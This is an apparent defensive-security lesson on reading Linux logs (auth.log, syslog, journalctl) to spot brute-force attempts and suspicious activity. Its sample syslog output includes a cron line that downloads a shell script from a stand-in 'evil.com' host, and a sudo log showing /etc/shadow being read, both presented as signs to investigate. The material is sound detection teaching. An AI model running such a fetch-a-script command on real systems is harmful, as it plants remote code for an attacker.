HackPath
BootcampCoursesRoadmapPracticePricing
Log inStart learning
Back to courses

Course

Blue Team Ops — Detect, Block, Respond

0%
Monitoring & Detection4 lessons
01Read and analyze system logs
40m
02Detect an Nmap Scan in Firewall Logs
35m
03fail2ban — Automatically Banning Attackers
45m
04Harden a Server with UFW and iptables
50m
IDS/IPS with Suricata3 lessons
05Introduction to IDS/IPS — Understanding Network Detection
40m
06Installing and Configuring Suricata
50m
07Write Your Own Suricata Detection Rules
50m
Centralized Logging with ELK3 lessons
08Introduction to SIEM — Why Centralize Logs
35m
09Set Up the ELK Stack
60m
10Create Security Alerts and Dashboards in Kibana
50m
Forensics & Incident Response3 lessons
11Forensic Analysis of a Compromised System
55m
12Recover Deleted Data with Autopsy and Foremost
50m
13Write a Professional Incident Report
45m
Lesson 01·1 / 13·40 min

Read and analyze system logs

Learn how to read Linux logs (auth.log, syslog, journald) to spot suspicious activity and understand what’s happening on your machine.

Why logs are your first line of defense.

An attacker can be quiet. They can use legitimate tools, avoid triggering alerts, and move slowly to stay under the radar. But they can’t operate without leaving traces in logs.

System logs continuously record what happens on a machine: SSH connections, authentication attempts, service starts, system errors, and sudo activity. If you can read them, you can reconstruct what happened—even after the fact.

A Blue Team analyst spends a lot of time reading logs. It’s one of the most fundamental defensive skills.

Triage is a workflow: start small, build a timeline, validate, then document.

Essential log files on Linux.

/var/log/auth.log (Debian/Ubuntu) or /var/log/secure (CentOS/RHEL).

This is one of the most important logs for security. It records authentication activity: successful and failed SSH logins, sudo usage, and password changes.

Terminal
Linux / WSL
sudo tail -50 /var/log/auth.log
The command you type
Feb 19 14:23:01 srv sshd[3421]: Failed password for root from 192.168.1.105 port 52341 ssh2
Feb 19 14:23:03 srv sshd[3421]: Failed password for root from 192.168.1.105 port 52342 ssh2
Feb 19 14:23:05 srv sshd[3421]: Failed password for root from 192.168.1.105 port 52343 ssh2
Feb 19 14:23:07 srv sshd[3422]: Accepted password for alice from 192.168.1.10 port 43210 ssh2
Feb 19 14:23:07 srv sshd[3422]: pam_unix(sshd:session): session opened for user alice
Result

What you’re seeing: three failed logins from 192.168.1.105 against root, followed by one successful login from 192.168.1.10. The first IP looks suspicious—this is a common brute-force pattern.

/var/log/syslog or /var/log/messages.

The general-purpose system log. It captures events from the kernel, services, and daemons. Useful for spotting abnormal service behavior.

Terminal
sudo grep 'error\|warning\|fail' /var/log/syslog | tail -20
The command you type
Feb 19 14:10:33 srv kernel: [UFW BLOCK] IN=eth0 OUT= SRC=10.0.0.45 DST=192.168.1.1 PROTO=TCP DPT=22
Feb 19 14:10:35 srv kernel: [UFW BLOCK] IN=eth0 OUT= SRC=10.0.0.45 DST=192.168.1.1 PROTO=TCP DPT=80
Feb 19 14:11:02 srv cron[1234]: (root) CMD (/usr/bin/wget http://evil.com/shell.sh -O /tmp/shell.sh)
Result

That third line is critical: a cron job is downloading a script from an external server. That’s a strong persistence signal.

/var/log/kern.log.

Linux kernel messages. Useful to detect low-level behaviors: suspicious module loads, memory errors, and potential kernel exploit attempts.

Using journald — the modern logging system.

On modern systemd-based systems, logs are centralized in journald. The journalctl command replaces direct file reading.

Terminal
Linux / WSL
sudo journalctl -u ssh --since '1 hour ago'
The command you type
-- Logs begin at Wed 2026-02-19 13:00:00 UTC --
Feb 19 14:23:01 srv sshd[3421]: Failed password for root from 192.168.1.105
Feb 19 14:23:03 srv sshd[3421]: Failed password for root from 192.168.1.105
Feb 19 14:23:05 srv sshd[3421]: Failed password for root from 192.168.1.105
Feb 19 14:23:07 srv sshd[3422]: Accepted password for alice from 192.168.1.10
Result
Terminal
Linux / WSL
sudo journalctl -p err --since today
The command you type
Feb 19 09:12:44 srv kernel: EXT4-fs error (device sda1): ext4_find_entry
Feb 19 11:30:21 srv sshd[2100]: error: Could not load host key: /etc/ssh/ssh_host_rsa_key
Result

Most useful journalctl options:

OptionMeaning
-u sshFilter by service (SSH here)
-p errShow only errors and above
--since '2 hours ago'Show logs since a relative time
-fFollow in real time (like `tail -f`)
-n 100Show the last 100 lines

Find suspicious patterns with grep.

Reading raw logs is inefficient at scale. grep lets you quickly filter for the events that matter.

Detect SSH login failures:

Terminal
sudo grep 'Failed password' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -10
The command you type
47 192.168.1.105
12 10.0.0.88
3 172.16.0.200
Result

This extracts the source IPs behind failed logins and counts them. 192.168.1.105 with 47 attempts is clearly brute-force behavior.

Detect sudo activity:

Terminal
sudo grep 'sudo' /var/log/auth.log | grep -v 'pam_unix'
The command you type
Feb 19 14:45:10 srv sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/bash
Feb 19 14:45:12 srv sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Result

A user opening a root shell with sudo /bin/bash and then reading /etc/shadow is behavior worth investigating.

Analyze logs in real time.

During an active incident, you want to watch logs as they arrive.

Terminal
sudo tail -f /var/log/auth.log
The command you type
Feb 19 15:01:22 srv sshd[4501]: Failed password for invalid user admin from 185.220.101.45 port 41230 ssh2
Feb 19 15:01:23 srv sshd[4502]: Failed password for invalid user admin from 185.220.101.45 port 41231 ssh2
Feb 19 15:01:24 srv sshd[4503]: Failed password for invalid user root from 185.220.101.45 port 41232 ssh2
Result
Terminal
Linux / WSL
sudo journalctl -f -u ssh
The command you type
-- Logs begin at Wed 2026-02-19 --
Feb 19 15:01:22 srv sshd[4501]: Failed password for invalid user admin from 185.220.101.45
Feb 19 15:01:23 srv sshd[4502]: Failed password for invalid user admin from 185.220.101.45
Result

Key takeaways.

File / CommandWhat it containsWhen to use it
/var/log/auth.logSSH auth, sudo, PAMFirst place to look in most incidents
/var/log/syslogGeneral system eventsWeird service behavior, “what changed?”
/var/log/kern.logKernel messagesSuspected kernel exploits, suspicious modules
journalctl -u ssh -fLive SSH logsActive monitoring during an incident
Flashcards · 1/4
0001
0001
Unseen

Which file contains SSH login attempts on Ubuntu?

0001
0001

Answer

/var/log/auth.log — it records authentication events (SSH, sudo, PAM).

Hands-on exercises.

Exercise 1 — On your Linux VM, run sudo tail -100 /var/log/auth.log and identify all successful SSH logins. Write down the source IPs and the usernames.

Exercise 2 — Use grep 'Failed password' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn to list the IPs with the most failed attempts. Do any IPs look suspicious?

Open questions.

How do you distinguish an SSH brute-force attack from a simple user mistake in auth.log?.

Next Lesson.

You now know how to read and analyze system logs. The next lesson applies this skill to a real scenario: detecting Nmap scans in your logs and understanding what reconnaissance activity looks like from a defender's perspective.

Next: Detecting Nmap Scans

Chapter challenge

Follow the activity instructions and keep your own results.

Open challenge →

You're on a free lesson

Ready to go further?

Unlock all courses, exercises, real-world scenarios and flashcards — everything to build real skills.

Unlock full access →

No commitment · Cancel anytime

Sign in to track your progress.

Sign in to validate →

12 lessons locked in this course · 800+ students enrolled

$99/year — save 31% vs monthly

Unlock full access →